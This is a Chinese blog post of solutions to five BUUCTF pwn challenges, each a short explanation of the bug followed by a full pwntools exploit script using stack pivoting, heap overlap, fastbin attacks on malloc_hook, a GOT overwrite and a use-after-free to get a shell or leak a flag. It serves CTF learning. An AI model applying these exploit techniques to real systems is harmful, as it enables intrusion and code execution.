BUUCTF-PWN刷题记录-2

gyctf_2020_borrowstack

在这里插入图片描述
在这里插入图片描述
本题只有有限的溢出空间,而且有NX的保护,只能用ROP的办法
利用方法为把rbp改为bank+4的地址,返回地址改为leave的地址,这样就能利用RBP修改RSP,bank前8个字节填写bank+8的地址,之后跟上ROP链,
不过这题还有一点,就是Bank离stdin和stdout比较近,需要先使用ret把栈的地址加大,防止返回到main的时候stdin被修改导致程序出错,根据调试,ROP链之前需要20个ret
下面是19个ret时bss的情况
写入之后:

在这里插入图片描述
执行setbuf之后
在这里插入图片描述
可以看到stdin被修改,这回导致之后的read操作出错
当ret数量为20个时:
在这里插入图片描述
如下图,stdin没有被修改
在这里插入图片描述
Exp如下:

from pwn import *

#r = remote("node3.buuoj.cn", 27905)
r = process("./gyctf_2020_borrowstack")
DEBUG = 1
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x40069a
	b *0x400626
	c
	x/10gx 0x601060
	''')
elf = ELF("./gyctf_2020_borrowstack")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
leave = 0x400699
ret = 0x4004c9
bss = 0x601080
pop_rdi = 0x400703
main = 0x400626
print r.recvuntil('\n')
payload = 'a' * 0x60 + p64(bss) + p64(leave)
r.send(payload)
print r.recvuntil('\n')
payload = p64(ret) * 20 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
r.send(payload)

puts_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc_base = puts_addr - 0x06f690
one_gadget = libc_base + 0x4526a
print "one_gadget:", hex(one_gadget)

print r.recvuntil('\n')
payload = 'a' * 0x60 + p64(bss) + p64(one_gadget)
r.send(payload)
print r.recvuntil('\n')
#payload = p64(ret) * 20
payload = 'a'
r.sendline(payload)
r.interactive()

babyheap_0ctf_2017

在这里插入图片描述
在这里插入图片描述
使用calloc分配,会让堆上数据置零
在这里插入图片描述
在fill函数中,函数重新读入了缓冲区长度,因此可以进行堆溢出
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
利用思路:

  1. 先利用unsorted bin attack获取libc的基地址

分配几个块
利用堆溢出修改chunk size ,进行堆重叠,即让一个chunk包含他的下一个chunk,而把下一个chunk的大小改为unsorted bin的范围
利用show泄露unsorted bin 的fd (指向main_arena + 0x58)

  1. 利用fasbin attack 申请出malloc hook,用one_gadget覆盖获得shell

把malloc hook写入fastbin的fd
申请两次,第二次就是malloc hook

Exp如下:

from pwn import *

def allocate(size):
	print r.recvuntil("Command: ")
	r.sendline('1')
	print r.recvuntil("Size: ")
	r.sendline(str(size))

def fill(index, size, content):
	print r.recvuntil("Command: ")
	r.sendline('2')
	print r.recvuntil("Index: ")
	r.sendline(str(index))
	print r.recvuntil("Size: ")
	r.sendline(str(size))
	print r.recvuntil("Content: ")
	r.send(content)

def free(index):
	print r.recvuntil("Command: ")
	r.sendline('3')
	print r.recvuntil("Index: ")
	r.sendline(str(index))

def show(index):
	print r.recvuntil("Command: ")
	r.sendline('4')
	print r.recvuntil("Index: ")
	r.sendline(str(index))
	print r.recvuntil('Content: \n')    

r = remote("node3.buuoj.cn", 27614)
elf=ELF('./babyheap_0ctf_2017')
libc = ELF('./libc/libc-2.23.so')

allocate(0x10)#idx0
allocate(0x10)#idx1
allocate(0x30)#idx2
allocate(0x40)#idx3
allocate(0x60)#idx4

payload = p64(0x51)*4
fill(0, 0x20, payload)#idx1 size 0x50

payload = p64(0x31)*6
fill(2, 0x30, payload)
free(1)
allocate(0x40)#idx1

payload = p64(0x91)*4
fill(1, 0x20, payload)
free(2)
show(1)
print r.recv(0x20)
leak = u64(r.recv(8))
malloc_hook = leak - 0x58 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc_base = malloc_hook - libc.symbols['__malloc_hook']
one_gadget = libc_base + 0x4526a

free(4)
payload = p64(0) * 9 + p64(0x71) + p64(malloc_hook-0x23)
fill(3, 0x58, payload)

allocate(0x60)#idx2
allocate(0x60)#idx4 malloc hook

payload = 'a' * 0x13 + p64(one_gadget)
fill(4, len(payload), payload)

allocate(0x10)
r.interactive()

roarctf_2019_easy_pwn

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这题主要利用堆上一个byte的溢出修改chunk的大小

首先利用堆重叠泄露出main_arena+0x58,得到libc_base
然后覆盖malloc_hook获得shell
不过这题One_gadget不能用,我们需要把malloc_hook写入realloc+10的地址,在relloac_hook出填one_gadget的地址
在这里插入图片描述

扫描二维码关注公众号,回复: 10898473 查看本文章

Exp:

from pwn import *

def add(size):
	print r.recvuntil('choice: ')
	r.sendline('1')
	print r.recvuntil('size:')
	r.sendline(str(size))

def fill(index, size, content):
	print r.recvuntil('choice: ')
	r.sendline('2')
	print r.recvuntil('index:')
	r.sendline(str(index))
	print r.recvuntil('size:')
	r.sendline(str(size))
	print r.recvuntil('content:')
	r.send(content)

def free(index):
	print r.recvuntil('choice: ')
	r.sendline('3')
	print r.recvuntil('index:')
	r.sendline(str(index))

def show(index):
	print r.recvuntil('choice: ')
	r.sendline('4')
	print r.recvuntil('index:')
	r.sendline(str(index))


r = remote("node3.buuoj.cn", 26871)
libc=ELF('./libc/libc-2.23.so')


add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x88)#3

add(0x28)#4
add(0x28)#5
add(0x68)#6

payload = 'a' * 0x18 + p8(0xb1)
fill(0, 0x18+10, payload)
free(1)
add(0xa8)#1
payload = 'a' * 0x18 + p64(0x91)
fill(1, 0x20, payload)
free(2)
show(1)
print r.recvuntil('content: ')
print r.recv(0x20)
malloc_hook = u64(r.recv(8)) - 0x58 - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
success('libc_base:'+hex(libc_base))
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x4526a

payload = 'a' * 0x28 + p8(0xa1)
fill(4, 0x28+10, payload)
free(5)
free(6)
add(0x98)#5 but idx 2
payload = 'a' * 0x28 + p64(0x71) + p64(malloc_hook - 0x23)
fill(2, 0x38, payload)
add(0x68)#5
add(0x68)#6
payload = 'a' * (0x13-8) + p64(one_gadget) + p64(realloc+0x10)
print len(payload)
fill(6, len(payload), payload)


r.interactive()

[ZJCTF 2019]EasyHeap

在这里插入图片描述
RELRO没有完全开启,考虑覆盖GOT表
在这里插入图片描述
在edit的时候可以编辑任意大小

利用思路如下

  1. 先申请三个chunk,0,1,2
  2. 释放chunk2,使其进入fastbin
  3. 编辑chunk1,写入/bin/sh,并把chunk2的fd指向0x6020b0-3 (fastbin attack)
  4. 申请两次chunk2大小的chunk分别为chunk2,3
  5. 向chunk3中写入‘a’*3+p64(0)+p64(free_got),此时编辑0就可以修改free的GOT
  6. 把system写入free的GOT,释放chunk1,得到shell

Exp如下:

from pwn import *

def add(size, content):
	print r.recvuntil("Your choice :")
	r.sendline('1')
	print r.recvuntil("Size of Heap : ")
	r.sendline(str(size))
	print r.recvuntil("Content of heap:")
	r.send(content)

	

def fill(index, size, content):
	print r.recvuntil("Your choice :")
	r.sendline('2')
	print r.recvuntil("Index :")
	r.sendline(str(index))
	print r.recvuntil("Size of Heap : ")
	r.sendline(str(size))
	print r.recvuntil("Content of heap : ")
	r.send(content)

def free(index):
	print r.recvuntil("Your choice :")
	r.sendline('3')
	print r.recvuntil("Index :")
	r.sendline(str(index))

#r = remote("node3.buuoj.cn", 25760)
r = process("./ZJCTF_2019_EasyHeap/easyheap")
DEBUG = 1
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x400C91
	c
	''')
elf = ELF("./ZJCTF_2019_EasyHeap/easyheap")
free_got = elf.got['free']
system = elf.plt['system']

add(0x60, 'a')#0
add(0x60, 'b')#1
add(0x60, 'c')#2

free(2)
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
fill(1, len(payload), payload)

add(0x60, 'b')#2
add(0x60, 'd')#bss 3

payload = 'a' * 3 + p64(0) * 4 + p64(free_got)
fill(3, len(payload), payload)
fill(0, 8, p64(system))
free(1)
r.interactive()

gyctf_2020_some_thing_exceting

在这里插入图片描述
程序把flag读入了内存
在这里插入图片描述
free之后没有置空
在这里插入图片描述
利用思路就很明显了,

  1. 申请两个banana并free
  2. 申请一个banana,其中ba的size为0x10,这样ba就指向可banana[0],把banana[0]的ba修改为flag的地址即可

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 27902)

flag = 0x6020A8
elf = ELF("./gyctf_2020_some_thing_exceting")
libc = ELF('./libc/libc-2.23.so')

def add(size1, content1, size2, content2):
	print r.recvuntil("> Now please tell me what you want to do :")
	r.sendline('1')
	print r.recvuntil("> ba's length : ")
	r.sendline(str(size1))
	r.send(content1)
	print r.recvuntil("> na's length : ")
	r.sendline(str(size2))
	r.send(content2)

def delete(index):
	print r.recvuntil("> Now please tell me what you want to do :")
	r.sendline('3')
	print r.recvuntil("> Banana ID : ")
	r.sendline(str(index))

def show(index):
	print r.recvuntil("> Now please tell me what you want to do :")
	r.sendline('4')
	print r.recvuntil("> SCP project ID : ")
	r.sendline(str(index))



add(0x60, 'a\n', 0x60, 'a\n')
add(0x60, 'b\n', 0x60, 'b\n')
delete(0)
delete(1)
payload = p64(flag) + '\n'
add(0x10, payload, 0x60, 'a\n')
show(0)

r.interactive()
发布了28 篇原创文章 · 获赞 4 · 访问量 2551

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/104839805